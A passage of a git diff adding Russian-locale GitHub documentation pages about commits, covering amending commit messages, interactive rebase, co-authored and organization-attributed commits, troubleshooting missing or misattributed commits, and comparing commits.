значимых изменений в виде фиксаций. +redirect_from: + - /articles/why-are-my-commits-in-the-wrong-order + - /github/committing-changes-to-your-project/why-are-my-commits-in-the-wrong-order + - /github/committing-changes-to-your-project/about-commits + - /github/committing-changes-to-your-project/creating-and-editing-commits/about-commits + - /pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/commit-branch-and-tag-labels +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 6847b0a2e69fb17e648b7841a9ae250eaa9b38fa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147410526' +--- +## Сведения о фиксациях + +{% data reusables.commits.about-commits %} + +{% ifversion commit-signoffs %} Если для репозитория, для которого выполняется фиксация, включена обязательная фиксация, и вы выполняете фиксацию через веб-интерфейс, фиксация автоматически утверждается в процессе фиксации. Дополнительные сведения см. в разделе [Управление политикой утверждения фиксаций для репозитория](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository). {% endif %} + +Вы можете добавить соавтора для любых фиксаций, в совместной работе над которыми вы участвуете. Дополнительные сведения см. в разделе [Создание фиксации с несколькими авторами](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors). + +{% ifversion fpt or ghec %} Вы также можете создать фиксацию от имени организации. Дополнительные сведения см. в разделе [Создание фиксации от имени организации](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization). {% endif %} + +Перемещение изменений из одной ветви в другую позволяет изменить серию фиксаций и порядок фиксаций на временной шкале. Дополнительные сведения см. в разделе [Сведения о git rebase](/github/getting-started-with-github/about-git-rebase). + +## Сведения о ветвях фиксации и метках тегов + +Чтобы увидеть, в какой ветви находится фиксация, просмотрите метки под фиксацией на странице фиксации. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-commit-page %} +1. Перейдите к фиксации, щелкнув ссылку в сообщении о фиксации. + ![Снимок экрана: фиксация с выделенной ссылкой на сообщение фиксации](/assets/images/help/commits/commit-message-link.png) +2. Чтобы просмотреть, в какой ветви находится фиксация, проверьте метку под сообщением о фиксации. + ![Снимок экрана: фиксация с выделенным индикатором ветви фиксации](/assets/images/help/commits/commit-branch-indicator.png) + +Если фиксация отсутствует в ветви по умолчанию (`main`), метка отобразит ветви, содержащие фиксацию. Если фиксация является частью не объединенного с ветвью запроса на вытягивание, щелкните ссылку, чтобы перейти к запросу на вытягивание. + +Когда фиксация окажется в ветви по умолчанию, будут отображаться все теги, содержащие фиксацию, и ветвь по умолчанию будет единственной ветвью в списке. Дополнительные сведения о тегах см. в разделе [Основы Git — добавление тегов](https://git-scm.com/book/en/v2/Git-Basics-Tagging) в документации по Git. + +![Снимок экрана: фиксация с выделенным тегом фиксации](/assets/images/help/commits/commit-tag-label.png) + +{% ifversion commit-tree-view %} + +## Использование дерева файлов + +Дерево файлов можно использовать для перехода между файлами в фиксации. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.navigate-to-commit-page %} +1. Перейдите к фиксации, щелкнув ссылку в сообщении о фиксации. + ![Снимок экрана: фиксация с выделенной ссылкой на сообщение фиксации](/assets/images/help/commits/commit-message-link.png) +1. Щелкните файл в дереве файлов, чтобы просмотреть соответствующее различие файлов. Если дерево файлов скрыто, щелкните {% octicon "sidebar-collapse" aria-label="The sidebar collapse icon" %}, чтобы отобразить его. + + {% note %} + + **Примечание**. Дерево файлов не будет отображаться, если ширина экрана слишком узкая или если фиксация содержит только один файл. + + {% endnote %} + + ![Снимок экрана: поле поиска "Отфильтровать измененные файлы" с выделенным деревом файлов](/assets/images/help/repository/file-tree.png) +1. Чтобы выполнить фильтрацию по пути к файлу, введите часть или весь путь к файлу в поле поиска **Отфильтровать измененные файлы**. + +{% endif %} + +## Дополнительные материалы +- Раздел [Фиксация и просмотр изменений в проекте](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#about-commits) в документации по {% data variables.product.prodname_desktop %} diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md new file mode 100644 index 000000000000..4cbd1eee7dca --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md @@ -0,0 +1,124 @@ +--- +title: Changing a commit message +redirect_from: + - /articles/can-i-delete-a-commit-message + - /articles/changing-a-commit-message + - /github/committing-changes-to-your-project/changing-a-commit-message + - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message +intro: 'If a commit message contains unclear, incorrect, or sensitive information, you can amend it locally and push a new commit with a new message to {% data variables.product.product_name %}. You can also change a commit message to add missing information.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- +## Rewriting the most recent commit message + +You can change the most recent commit message using the `git commit --amend` command. + +In Git, the text of the commit message is part of the commit. Changing the commit message will change the commit ID--i.e., the SHA1 checksum that names the commit. Effectively, you are creating a new commit that replaces the old one. + +## Commit has not been pushed online + +If the commit only exists in your local repository and has not been pushed to {% data variables.location.product_location %}, you can amend the commit message with the `git commit --amend` command. + +1. On the command line, navigate to the repository that contains the commit you want to amend. +2. Type `git commit --amend` and press **Enter**. +3. In your text editor, edit the commit message, and save the commit. + - You can add a co-author by adding a trailer to the commit. For more information, see "[Creating a commit with multiple authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors)." +{% ifversion fpt or ghec %} + - You can create commits on behalf of your organization by adding a trailer to the commit. For more information, see "[Creating a commit on behalf of an organization](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization)" +{% endif %} + +The new commit and message will appear on {% data variables.location.product_location %} the next time you push. + +{% tip %} + +You can change the default text editor for Git by changing the `core.editor` setting. For more information, see "[Basic Client Configuration](https://git-scm.com/book/en/Customizing-Git-Git-Configuration#_basic_client_configuration)" in the Git manual. + +{% endtip %} + +## Amending older or multiple commit messages + +If you have already pushed the commit to {% data variables.location.product_location %}, you will have to force push a commit with an amended message. + +{% warning %} + +We strongly discourage force pushing, since this changes the history of your repository. If you force push, people who have already cloned your repository will have to manually fix their local history. For more information, see "[Recovering from upstream rebase](https://git-scm.com/docs/git-rebase#_recovering_from_upstream_rebase)" in the Git manual. + +{% endwarning %} + +**Changing the message of the most recently pushed commit** + +1. Follow the [steps above](/articles/changing-a-commit-message#commit-has-not-been-pushed-online) to amend the commit message. +2. Use the `push --force-with-lease` command to force push over the old commit. + ```shell + $ git push --force-with-lease origin EXAMPLE-BRANCH + ``` + +**Changing the message of older or multiple commit messages** + +If you need to amend the message for multiple commits or an older commit, you can use interactive rebase, then force push to change the commit history. + +1. On the command line, navigate to the repository that contains the commit you want to amend. +2. Use the `git rebase -i HEAD~n` command to display a list of the last `n` commits in your default text editor. + + ```shell + # Displays a list of the last 3 commits on the current branch + $ git rebase -i HEAD~3 + ``` + The list will look similar to the following: + + ```shell + pick e499d89 Delete CNAME + pick 0c39034 Better README + pick f7fde4a Change the commit message but push the same commit. + + # Rebase 9fdb3bd..f7fde4a onto 9fdb3bd + # + # Commands: + # p, pick = use commit + # r, reword = use commit, but edit the commit message + # e, edit = use commit, but stop for amending + # s, squash = use commit, but meld into previous commit + # f, fixup = like "squash", but discard this commit's log message + # x, exec = run command (the rest of the line) using shell + # + # These lines can be re-ordered; they are executed from top to bottom. + # + # If you remove a line here THAT COMMIT WILL BE LOST. + # + # However, if you remove everything, the rebase will be aborted. + # + # Note that empty commits are commented out + ``` +3. Replace `pick` with `reword` before each commit message you want to change. + ```shell + pick e499d89 Delete CNAME + reword 0c39034 Better README + reword f7fde4a Change the commit message but push the same commit. + ``` +4. Save and close the commit list file. +5. In each resulting commit file, type the new commit message, save the file, and close it. +6. When you're ready to push your changes to GitHub, use the push --force command to force push over the old commit. +```shell +$ git push --force origin EXAMPLE-BRANCH +``` + +For more information on interactive rebase, see "[Interactive mode](https://git-scm.com/docs/git-rebase#_interactive_mode)" in the Git manual. + +{% tip %} + +As before, amending the commit message will result in a new commit with a new ID. However, in this case, every commit that follows the amended commit will also get a new ID because each commit also contains the id of its parent. + +{% endtip %} + +{% warning %} + +If you have included sensitive information in a commit message, force pushing a commit with an amended commit may not remove the original commit from {% data variables.product.product_name %}. The old commit will not be a part of a subsequent clone; however, it may still be cached on {% data variables.product.product_name %} and accessible via the commit ID. You must contact {% data variables.contact.contact_support %} with the old commit ID to have it purged from the remote repository. + +{% endwarning %} + +## Further reading + +* "[Signing commits](/articles/signing-commits)" diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md new file mode 100644 index 000000000000..e4cf27cb8f92 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization.md @@ -0,0 +1,74 @@ +--- +title: Creating a commit on behalf of an organization +intro: 'You can create commits on behalf of an organization by adding a trailer to the commit''s message. Commits attributed to an organization include an `on-behalf-of` badge on {% data variables.product.product_name %}.' +redirect_from: + - /articles/creating-a-commit-on-behalf-of-an-organization + - /github/committing-changes-to-your-project/creating-a-commit-on-behalf-of-an-organization + - /github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-on-behalf-of-an-organization +versions: + fpt: '*' + ghec: '*' +shortTitle: On behalf of an organization +--- +{% note %} + +**Note:** The ability to create a commit on behalf of an organization is currently in public beta and is subject to change. + +{% endnote %} + +To create commits on behalf of an organization: + +- you must be a member of the organization indicated in the trailer +- you must sign the commit +- your commit email and the organization email must be in a domain verified by the organization +- your commit message must end with the commit trailer `on-behalf-of: @org <name@organization.com>` + - `org` is the organization's login + - `name@organization.com` is in the organization's domain + +Organizations can use the `name@organization.com` email as a public point of contact for open source efforts. + +## Creating commits with an `on-behalf-of` badge on the command line + +1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. + ```shell + $ git commit -m "Refactor usability tests. + > + > + ``` + {% tip %} + + **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `on-behalf-of:` commit trailer. + + {% endtip %} + +2. On the next line of the commit message, type `on-behalf-of: @org <name@organization.com>`, then a closing quotation mark. + + ```shell + $ git commit -m "Refactor usability tests. + > + > + on-behalf-of: @ORG NAME@ORGANIZATION.COM" + ``` + +The new commit, message, and badge will appear on {% data variables.location.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." + +## Creating commits with an `on-behalf-of` badge on {% data variables.product.product_name %} + +After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a commit on behalf of your organization by adding an `on-behalf-of:` trailer to the commit's message. + +1. After making your changes, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. + ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) + +2. In the text box below your commit message, add `on-behalf-of: @org <name@organization.com>`. + + ![Commit message on-behalf-of trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-on-behalf-of-trailer.png) +4. Click **Commit changes** or **Propose changes**. + +The new commit, message, and badge will appear on {% data variables.location.product_location %}. + +## Further reading + +- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)" +- "[Viewing a project’s contributors](/articles/viewing-a-projects-contributors)" +- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md new file mode 100644 index 000000000000..a1ac806368ce --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors.md @@ -0,0 +1,90 @@ +--- +title: Creating a commit with multiple authors +intro: 'You can attribute a commit to more than one author by adding one or more `Co-authored-by` trailers to the commit''s message. Co-authored commits are visible on {% data variables.product.product_name %}{% ifversion ghes or ghae %} and can be included in the profile contributions graph and the repository''s statistics{% endif %}.' +redirect_from: + - /articles/creating-a-commit-with-multiple-authors + - /github/committing-changes-to-your-project/creating-a-commit-with-multiple-authors + - /github/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: With multiple authors +--- +## Required co-author information + +Before you can add a co-author to a commit, you must know the appropriate email to use for each co-author. For the co-author's commit to count as a contribution, you must use the email associated with their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. + +{% ifversion fpt or ghec %} + +If a person chooses to keep their email address private, you should use their {% data variables.product.product_name %}-provided `no-reply` email to protect their privacy. Otherwise, the co-author's email will be available to the public in the commit message. If you want to keep your email private, you can choose to use a {% data variables.product.product_name %}-provided `no-reply` email for Git operations and ask other co-authors to list your `no-reply` email in commit trailers. + +For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)." + + {% tip %} + + **Tip:** You can help a co-author find their preferred email address by sharing this information: + - To find your {% data variables.product.product_name %}-provided `no-reply` email, navigate to your email settings page under "Keep my email address private." + - To find the email you used to configure Git on your computer, run `git config user.email` on the command line. + + {% endtip %} + +{% endif %} + +## Creating co-authored commits using {% data variables.product.prodname_desktop %} + +You can use {% data variables.product.prodname_desktop %} to create a commit with a co-author. For more information, see "[Write a commit message and push your changes](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" and [{% data variables.product.prodname_desktop %}](https://desktop.github.com). + +![Add a co-author to the commit message](/assets/images/help/desktop/co-authors-demo-hq.gif) + +## Creating co-authored commits on the command line + +{% data reusables.pull_requests.collect-co-author-commit-git-config-info %} + +1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. + ``` + $ git commit -m "Refactor usability tests. + > + > + ``` + {% tip %} + + **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `Co-authored-by:` commit trailer. + + {% endtip %} + +3. On the next line of the commit message, type `Co-authored-by: name <name@example.com>` with specific information for each co-author. After the co-author information, add a closing quotation mark. + + If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer. + ``` + $ git commit -m "Refactor usability tests. + > + > + Co-authored-by: NAME <NAME@EXAMPLE.COM> + Co-authored-by: AUTHOR-NAME <ANOTHER-NAME@EXAMPLE.COM>" + ``` + +The new commit and message will appear on {% data variables.location.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." + +## Creating co-authored commits on {% data variables.product.product_name %} + +After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a co-authored commit by adding a `Co-authored-by:` trailer to the commit's message. + +{% data reusables.pull_requests.collect-co-author-commit-git-config-info %} +2. After making your changes together, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. + ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) +3. In the text box below your commit message, add `Co-authored-by: name <name@example.com>` with specific information for each co-author. If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer. + + ![Commit message co-author trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-co-author-trailer.png) +4. Click **Commit changes** or **Propose changes**. + +The new commit and message will appear on {% data variables.location.product_location %}. + +## Further reading +{% ifversion ghes or ghae %} +- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" +- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"{% endif %} +- "[Viewing a project's contributors](/articles/viewing-a-projects-contributors)" +- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" +- "[Committing and reviewing changes to your project](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" in the {% data variables.product.prodname_desktop %} documentation diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md new file mode 100644 index 000000000000..91138420858f --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/index.md @@ -0,0 +1,25 @@ +--- +title: Создание и изменение фиксаций +intro: '' +redirect_from: + - /articles/creating-and-editing-commits + - /github/committing-changes-to-your-project/creating-and-editing-commits +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-commits + - /creating-a-commit-with-multiple-authors + - /creating-a-commit-on-behalf-of-an-organization + - /changing-a-commit-message +shortTitle: Create & edit commits +ms.openlocfilehash: 934c50a9aac372bb650d82d9f48719dd0b155d87 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145137114' +--- + diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/index.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/index.md new file mode 100644 index 000000000000..c1aa7e4a2a06 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/index.md @@ -0,0 +1,26 @@ +--- +title: Фиксация изменений в проекте +intro: Вы можете управлять изменениями кода в репозитории путем группирования работы в фиксациях. +redirect_from: + - /categories/21/articles + - /categories/commits + - /categories/committing-changes-to-your-project + - /github/committing-changes-to-your-project +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /creating-and-editing-commits + - /viewing-and-comparing-commits + - /troubleshooting-commits +shortTitle: Commit changes to your project +ms.openlocfilehash: e8bf1eb80d3a391e098b1c7aa5c4834af4144c4c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137111' +--- + diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md new file mode 100644 index 000000000000..ceab766830ce --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md @@ -0,0 +1,92 @@ +--- +title: Commit exists on GitHub but not in my local clone +intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.' +redirect_from: + - /articles/commit-exists-on-github-but-not-in-my-local-clone + - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone + - /github/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Commit missing in local clone +--- +When you use `git show` to view a specific commit on the command line, you may get a fatal error. + +For example, you may receive a `bad object` error locally: + +```shell +$ git show 1095ff3d0153115e75b7bca2c09e5136845b5592 +> fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592 +``` + +However, when you view the commit on {% data variables.location.product_location %}, you'll be able to see it without any problems: + +`github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592` + +There are several possible explanations: + +* The local repository is out of date. +* The branch that contains the commit was deleted, so the commit is no longer referenced. +* Someone force pushed over the commit. + +## The local repository is out of date + +Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`: + +```shell +$ git fetch REMOTE +``` + +This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out. +You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned. + +{% tip %} + +**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book. + +{% endtip %} + +## The branch that contained the commit was deleted + +If a collaborator on the repository has deleted the branch containing the commit +or has force pushed over the branch, the missing commit may have been orphaned +(i.e. it cannot be reached from any reference) and therefore will not be fetched +into your local clone. + +Fortunately, if any collaborator has a local clone of the repository with the +missing commit, they can push it back to {% data variables.product.product_name %}. They need to make sure the commit +is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}. + +Let's say that the person still has a local branch (call it `B`) that contains +the commit. This might be tracking the branch that was force pushed or deleted +and they simply haven't updated yet. To preserve the commit, they can push that +local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}. For this example, +let's assume they have a remote named `upstream` via which they have push access +to `github.com/$account/$repository`. + +The other person runs: + +```shell +$ git branch recover-B B +# Create a new local branch referencing the commit +$ git push upstream B:recover-B +# Push local B to new upstream branch, creating new reference to commit +``` + +Now, *you* can run: + +```shell +$ git fetch upstream recover-B +# Fetch commit into your local repository. +``` + +## Avoid force pushes + +Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests. + +## Further reading + +- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) +- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md new file mode 100644 index 000000000000..f9ff462dacd1 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/index.md @@ -0,0 +1,22 @@ +--- +title: Устранение неполадок фиксаций +intro: '' +redirect_from: + - /articles/troubleshooting-commits + - /github/committing-changes-to-your-project/troubleshooting-commits +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /commit-exists-on-github-but-not-in-my-local-clone + - /why-are-my-commits-linked-to-the-wrong-user +ms.openlocfilehash: 76b46a29cb6b18af0e3563022a908e02a531947c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145137105' +--- + diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md new file mode 100644 index 000000000000..d4d8bbe64498 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md @@ -0,0 +1,58 @@ +--- +title: Why are my commits linked to the wrong user? +redirect_from: + - /articles/how-do-i-get-my-commits-to-link-to-my-github-account + - /articles/why-are-my-commits-linked-to-the-wrong-user + - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user + - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user +intro: '{% data variables.product.product_name %} uses the email address in the commit header to link the commit to a GitHub user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings{% ifversion not ghae %}, add an email address to your account email settings, or do both{% endif %}.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: Linked to wrong user +--- +{% tip %} + +**Note**: If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository. + +{% endtip %} + +## Commits are linked to another user + +If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's account on {% data variables.product.product_name %}. In this case, you can change the email in your local Git configuration settings{% ifversion ghae %} to the address associated with your account on {% data variables.product.product_name %} to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} account to link future commits to your account. + +1. To change the email address in your local Git configuration, follow the steps in "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". If you work on multiple machines, you will need to change this setting on each one. +2. Add the email address from step 2 to your account settings by following the steps in "[Adding an email address to your GitHub account](/articles/adding-an-email-address-to-your-github-account)".{% endif %} + +Commits you make from this point forward will be linked to your account. + +## Commits are not linked to any user + +If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile. + +To check the email address used for those commits and connect commits to your account, take the following steps: + +1. Navigate to the commit by clicking the commit message link. +![Commit message link](/assets/images/help/commits/commit-msg-link.png) +2. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username. +![Commit hover message](/assets/images/help/commits/commit-hover-msg.png) + + - **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your account on {% data variables.product.product_name %}. {% ifversion not ghae %}To link your commits, [add the email address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account).{% endif %}{% ifversion not ghae %} If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat.{% endif %} + - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %} + - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %} + +{% ifversion ghae %} +You can change the email in your local Git configuration settings to the address associated with your account to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)." +{% endif %} + +{% warning %} + +If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository. + +{% endwarning %} + +## Further reading + +* "[Searching commits](/search-github/searching-on-github/searching-commits)" diff --git a/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md new file mode 100644 index 000000000000..72f22dee24f8 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits.md @@ -0,0 +1,73 @@ +--- +title: Сравнение фиксаций +intro: 'Вы можете сравнивать состояние репозитория между ветвями, тегами, фиксациями, вилками и датами.' +redirect_from: + - /articles/comparing-commits-across-time + - /github/committing-changes-to-your-project/comparing-commits-across-time + - /github/committing-changes-to-your-project/comparing-commits + - /github/committing-changes-to-your-project/viewing-and-comparing-commits/comparing-commits +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 2ebf1a3cc83463e97d9a4d60401277bb844135b1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145137099' +--- +Чтобы сравнить разные версии репозитория, добавьте `/compare`в его путь. + +Мы продемонстрируем возможности сравнения, изучив страницу сравнения для [вилки репозитория Linguist](https://github.com/octocat/linguist) по адресу [https://github.com/octocat/linguist/compare/master...octocat:master](https://github.com/octocat/linguist/compare/master...octocat:master). + +Представление сравнения каждого репозитория содержит два раскрывающихся меню: `base` и `compare`. + +`base` следует считать отправной точкой сравнения, а `compare` — конечной. Во время сравнения всегда можно изменить `base` и `compare`, нажав кнопку **Изменить**. + +## Сравнение ветвей + +Наиболее распространенным способом сравнения является сравнение ветвей, например при запуске нового запроса на вытягивание. При запуске [нового запроса на вытягивание](/articles/creating-a-pull-request) вы всегда будете переходить в представление сравнения ветвей. + +Для сравнения ветвей можно выбрать имя ветви в раскрывающемся меню `compare` в верхней части страницы. + +Ниже приведен пример [сравнения между двумя ветвями](https://github.com/octocat/linguist/compare/master...octocat:an-example-comparison-for-docs). + +## Сравнение тегов + +При сравнении тегов выпуска вы увидите изменения в репозитории с момента последнего выпуска. Дополнительные сведения см. в статье [Сравнение выпусков](/github/administering-a-repository/comparing-releases). + +Для сравнения тегов можно выбрать имя тега в раскрывающемся меню `compare` в верхней части страницы. + +Ниже приведен пример [сравнения между двумя тегами](https://github.com/octocat/linguist/compare/v2.2.0...octocat:v2.3.3). + +## Сравнение фиксаций + +Вы также можете сравнить две произвольные фиксации в репозитории или ее вилки на {% data variables.product.prodname_dotcom %} в рамках прямого (двухстороннего) 